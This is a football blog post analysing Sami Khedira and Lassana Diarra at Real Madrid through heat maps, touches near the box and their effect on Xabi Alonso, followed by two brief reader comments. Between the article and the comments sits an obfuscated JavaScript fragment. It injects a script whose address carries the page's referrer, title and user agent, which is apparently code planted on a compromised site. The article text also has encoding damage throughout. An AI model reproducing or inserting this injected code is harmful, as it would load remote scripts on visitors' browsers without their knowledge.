Khedira the man and the enigma

Sami Khedira, since he arrived at ai???Casa Blancaai???, has always been an integral part of Jose Mourinhoai??i??s squad. If he is not injured, he has played all the important matches ahead of players like Granero and Lassana Diarra; and though Kaka is an entirely different kind of midfielder, he too has been overlooked in favour of a double pivot by Mourinho.

When one sees Khedira on the field, he does nothing remarkable that one can see or understand on a superficial glance. Lass runs around like a terrier. Granero can impose a sense of calm.

Khedira can be just seen making simple vertical runs with a clumsy gait. Although he is definitely technically more proficient than Lassana Diarra, it is unlikely that he will put this point on his resume. Not too many tackles but yet he helps in adding some much needed vertical play to the play of ai???Los Blancosai???

But truly speaking, for his position there has been only 1 contender: Lassana Diarra. It is on these two players, this article will try to analyse. There will be 5 main analysis portions into which it has been broken into.

  1. Part 1 will analyse their playing positions using heat maps and average positions during a match. All the maps are from this season and have picked up from ESPNai??i??s website www.soccernet.com
  2. Part 2 we will see their contributions with respect to Alonso.
  3. Part 3 will involve some number crunching.
  4. Part 4 will use the conclusions of the above two data and some video analysis, followed by analysis of some matches of interest
  5. Part 5 will be the conclusion of the above 3.

The first two will be covered in this feature and the next three will be covered in the next feature, if the time, space and editors permit the same.

Source of data:Ai??www.soccernet.comAi??andAi??http://www.whoscored.com/Teams/52

Heat Maps explained

Before proceeding, some explanation on heat maps might be needed for people not familiar with them.

The lighter yellow blocks here represent a couple of touches of the ball for the player. The more dark orange they become, the more times the player touched the ball in that sector of the field. Ai??Average position of course, is based on the maximum time spent in a particular zone of the pitch, shown by an approximation. It gives a very good visual guide to the shape of the team, and where each player moves in relation to his team mates.

A touch is said to be in or near the box ai???if the touch is on or ahead of light green strip that the semi-circle of the penalty box hugsai???

Sami Khedira heat maps & corresponding average positions

Match: Real Madrid vs Ajax

Total touches in or near the box (2)

.

Match: Real Madrid vs Lyon

Total touches in or near the box (7)

.

Match: Real Madrid vs Malaga

Total touches in or near the box (2)

.

Real Madrid vs Villarreal

Total touches in or near the box (2)

.

Overall number of touches in or near the box by Khedira(13)

.

Some interesting points to be noted about the positional play in the above matches.

Point 1: Against Lyon in the home game at Bernabeu, Real pressed much further up the field and played very high up the pitch. In fact, the most interesting thing about this was, that Khediraai??i??s average position was higher than 7 players except the quartet of Ronaldo, Benzema, Ozil/Kaka and Di Maria. Also, only 2 players (Pepe and Carvalho) were in their own half and the whole team played up the field in Lyonai??i??s half.

Point 2: Against Ajax, majority of Khediraai??i??s touches were in the Real Madrid half. Ai??Even the average position of the Los Blancos shows the same. Here again, Khedira is still higher up compared to the full-backs and Alonso. Still he had 2 touches in the box and 1 just outside.

Point 3: Again, in the matches against Malaga and Villarreal, he spent most of his time in the opposition half as the major cluster of his touches show in the heat map.

Overall, his touches are spread all over the field. He almost has got a free role of a box to box player.

Lassana DiarraAi??heat maps & corresponding average positions

Lassana Diarra hasnai??i??t really featured in the Champions league games and so it will not be possible to compare his European exploits with that of Khedira.

.Match: Real Madrid vs Racing Santander

Total touches in or near the box (0)

.

Match: Real Madrid vsAi??Espanyol

Total touches in or near the box (0)

.

Match: Real Madrid vs Real Betis

Total touches in or near the box (3)

.

Match: Real Madrid vs Real Sociedad

Total touches in or near the box (0)

.

Total touches in or near the box overall (3)

.

Point 1: All the heat maps show some very interesting features. Even in the games where Real were dominant, Diarra had no or very few touches in or near the opposition box as shown by the heat maps.

Point 2: Also, to be noted is the place ‘where’ the touches are made. The touches are majorly in the half of Real Madrid. Even his average position is shown be in the half of capital side of Spain.

Overall, the cluster of his heat map touches show a very constricted zone where his touches are made.Ai??Not too close to either box. Do note this point. Notice that he has got very few touches even near his own teamai??i??s box when compared to that of Khedira. It is like almost that both the final thirds are no-no zone for him. The point is too stark to be a co-incidence. It is perhaps Mourinhoai??i??s instructions. We will see the reason for this later.

Comparing the 2 vis-Ai??-vis Real Madridai??i??s heartbeat aka Xabi Alonso

All the Madrid fans know that Real can compensate for any player except for Alonso. Whenever, Alonso is injured/rested, team ai???Casa Blancaai??? look a shadow of themselves.

Now, see and compare the positions of Alonso (jersey number 14).

When Khedira plays, Alonso is in the centre of the field and in general his position is slightly behind Khedira. But he is much more forward in the field and thus he can ping the ball more easily to the wingers to run onto. Also, the opposition teams get lesser time to cut out his deadly long aerial balls.

With Diarra, he usually is slightly in front of Diarra, but overall he is much deeper. This gives the other teams a few extra microseconds needed to react. Thus, his play becomes much less effective.

Why Khedira + Alonso…

Khedira, if one will see the games he started, he usually plays against teams that will not play with 10 men behind the ball. The opposition may not look to attack but is not scared of Real either; aka Villarreal, UCL teams, Valencia, Malaga. This means Khedira can make vertical runs to help out the CAM (Kaka or Ozil) and help the ai???media-puntoai??? or the playmaker more time on the ball. He can also provide the playmaker with the ball more often and act as a decoy. If not, then he could give it to Alonso, for the Spaniard to ping the round thing about.

Nothing fancy really; just keep the play ticking and ball moving.

This, in turn, makes the opposition give less attention to Alonso. So, when opposition attacks are halted, Alonso is much further up the field and can initiate deadly counter attacks. Just ask all the above teams. Just a few touches and before you know it, the ball is in the net.

Even, in general, Los Blancos will automatically become more threatening, because both CAM and Alonso get ball much more.

Why Lass + Alonso..

So, if Khedira is so good, why play Lassana Diarra at all? Because inherently Khedira can only make vertical runs and is at best a very good decoy.

But what about teams that deny Real Madrid any space, defend deep and donai??i??t really look to score. Here, usually the formation of the opposition is a variant of 4-5-1 or 5-4-1, i.e. a single striker and that too a withdrawn one.

Here the vertical runs are of no use. There is no space and Khedira cannot hold the ball like Ozil or Alonso, or run like Kaka or CR7. His best attribute is nullified. Again since he is not a runner, the ball fetcher role is more important to have good possession. This is where Diarra can be useful. He harangues and hassles till he gets the ball. So, the extra player in the midfield is not needed and Alonso is not overrun either. But others have to help too and both counter-intuitively and paradoxically, Real plays deeper against lesser sides than bigger sides.

Of course, a very major limitation of this tactic is that both the vertical play and playmaker roles are severely limited. Ai??Also, Alonso being deeper, his play too is hamstrung. Thus, though the possession is hogged nothing much is done with the ball. So, the team becomes heavily dependent on CAM and if he has a bad day, the entire team has a bad day.

To be continued in Part 2…

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

2 Responses to “Sami Khedira Vs Lassana Diarra: Tactical And Positional Play Demystified”

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  1. gupshup says:

    This is epic!

  2. Abe says:

    This is a very, very, very interesting analysis.